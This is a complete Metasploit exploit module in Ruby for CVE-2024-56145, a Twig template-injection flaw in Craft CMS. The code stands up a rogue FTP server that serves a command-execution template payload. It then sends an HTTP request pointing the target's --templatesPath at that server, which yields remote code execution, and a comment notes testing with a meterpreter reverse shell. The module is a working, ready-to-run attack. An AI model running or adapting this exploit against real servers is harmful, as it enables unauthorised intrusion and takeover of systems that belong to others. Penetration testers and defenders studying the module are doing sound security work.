220 lines
6.5 KiB
Ruby
220 lines
6.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::FtpServer
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Craft CMS Twig Template Injection RCE via FTP Templates Path',
|
|
'Description' => %q{
|
|
This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument.
|
|
The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE).
|
|
},
|
|
'Author' => [
|
|
'jheysel-r7', # Metasploit module
|
|
'Valentin Lobstein', # Refactor, Fix, and PoC
|
|
'AssetNote' # Vulnerability discovery
|
|
],
|
|
'References' => [
|
|
['CVE', '2024-56145'],
|
|
['URL', 'https://github.com/Chocapikk/CVE-2024-56145'],
|
|
['URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms']
|
|
],
|
|
'Payload' => {
|
|
'BadChars' => "\x22\x27" # " and '
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'Unix/Linux Command Shell', {
|
|
'Platform' => %w[unix linux],
|
|
'Arch' => ARCH_CMD
|
|
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2024-12-19',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def vulnerable_file_list
|
|
%w[/default/index.twig /default/index.html]
|
|
end
|
|
|
|
def get_payload
|
|
"{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}"
|
|
end
|
|
|
|
def send_ftp_response(cli, code, message)
|
|
cli.put "#{code} #{message}\r\n"
|
|
vprint_status("-> #{code} #{message}")
|
|
end
|
|
|
|
def on_client_connect(cli)
|
|
@state[cli] = {
|
|
name: "#{cli.peerhost}:#{cli.peerport}",
|
|
ip: cli.peerhost,
|
|
port: cli.peerport,
|
|
user: nil,
|
|
pass: nil,
|
|
cwd: '/'
|
|
}
|
|
send_ftp_response(cli, 220, 'FTP Server Ready')
|
|
end
|
|
|
|
def on_client_command_user(cli, arg)
|
|
vprint_status('on_client_command_user')
|
|
if arg.downcase == 'anonymous'
|
|
@state[cli][:user] = 'anonymous'
|
|
send_ftp_response(cli, 331, 'Username ok, send password.')
|
|
else
|
|
send_ftp_response(cli, 530, 'Not logged in.')
|
|
end
|
|
end
|
|
|
|
def on_client_command_pass(cli, arg)
|
|
vprint_status('on_client_command_pass')
|
|
if @state[cli][:user] == 'anonymous'
|
|
@state[cli][:pass] = arg
|
|
send_ftp_response(cli, 230, 'Login successful.')
|
|
else
|
|
send_ftp_response(cli, 530, 'Not logged in.')
|
|
end
|
|
end
|
|
|
|
def on_client_command_cwd(cli, arg)
|
|
vprint_status('on_client_command_cwd')
|
|
if arg == '/default'
|
|
@state[cli][:cwd] = '/default'
|
|
send_ftp_response(cli, 250, "\"#{@state[cli][:cwd]}\" is current directory.")
|
|
else
|
|
send_ftp_response(cli, 550, 'Not a directory')
|
|
end
|
|
end
|
|
|
|
def on_client_command_type(cli, arg)
|
|
vprint_status('on_client_command_type')
|
|
if arg == 'I'
|
|
send_ftp_response(cli, 200, 'Type set to: Binary.')
|
|
else
|
|
send_ftp_response(cli, 500, 'Unknown type.')
|
|
end
|
|
end
|
|
|
|
def on_client_command_size(cli, arg)
|
|
vprint_status('on_client_command_size')
|
|
if vulnerable_file_list.include?(arg)
|
|
send_ftp_response(cli, 213, get_payload.length.to_s)
|
|
else
|
|
send_ftp_response(cli, 550, "#{arg} is not retrievable.")
|
|
end
|
|
end
|
|
|
|
def on_client_command_mdtm(cli, arg)
|
|
vprint_status('on_client_command_mdtm')
|
|
if vulnerable_file_list.include?(arg)
|
|
send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S'))
|
|
else
|
|
send_ftp_response(cli, 550, "#{arg} is not retrievable.")
|
|
end
|
|
end
|
|
|
|
def on_client_command_epsv(cli, _arg)
|
|
vprint_status('on_client_command_epsv')
|
|
send_ftp_response(cli, 502, 'EPSV command not implemented.')
|
|
end
|
|
|
|
def on_client_command_retr(cli, arg)
|
|
vprint_status('on_client_command_retr')
|
|
if vulnerable_file_list.include?(arg)
|
|
conn = establish_data_connection(cli)
|
|
unless conn
|
|
send_ftp_response(cli, 425, "Can't open data connection.")
|
|
return
|
|
end
|
|
send_ftp_response(cli, 150, "Opening data connection for #{arg}")
|
|
conn.put(get_payload)
|
|
conn.close
|
|
send_ftp_response(cli, 226, 'Transfer complete.')
|
|
else
|
|
send_ftp_response(cli, 550, 'File not available.')
|
|
end
|
|
rescue IOError => e
|
|
vprint_error("Data transfer failed: #{e.message}")
|
|
send_ftp_response(cli, 425, 'Data transfer failed.')
|
|
end
|
|
|
|
def on_client_command_quit(cli, _arg)
|
|
vprint_status('on_client_command_quit')
|
|
send_ftp_response(cli, 221, 'Goodbye.')
|
|
end
|
|
|
|
def on_client_command_unknown(cli, cmd, arg)
|
|
vprint_status('on_client_command_unknown')
|
|
send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
|
|
end
|
|
|
|
def check
|
|
vprint_status('Performing vulnerability check...')
|
|
nonce = Rex::Text.rand_text_alphanumeric(8)
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'method' => 'GET',
|
|
'vars_get' => { '--configPath' => "/#{nonce}" }
|
|
)
|
|
|
|
if res&.body&.include?('mkdir()') && res.body.include?(nonce)
|
|
CheckCode::Vulnerable('The target is vulnerable')
|
|
else
|
|
CheckCode::Safe('The target is not vulnerable')
|
|
end
|
|
end
|
|
|
|
def trigger_http_request
|
|
vprint_status('Triggering HTTP request...')
|
|
templates_path = "ftp://#{Rex::Socket.to_authority(srvhost_addr, srvport)}"
|
|
send_request_raw(
|
|
'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}",
|
|
'method' => 'GET'
|
|
)
|
|
rescue StandardError => e
|
|
vprint_error("HTTP request failed: #{e.message}")
|
|
end
|
|
|
|
def start_ftp_service
|
|
if datastore['SSL'] == true
|
|
reset_ssl = true
|
|
datastore['SSL'] = false
|
|
end
|
|
start_service
|
|
if reset_ssl
|
|
datastore['SSL'] = true
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
vprint_status('Starting FTP service...')
|
|
start_ftp_service
|
|
vprint_status("FTP server started on #{srvhost}:#{datastore['SRVPORT']}")
|
|
vprint_status('Sending HTTP request to trigger the payload...')
|
|
trigger_http_request
|
|
end
|
|
end
|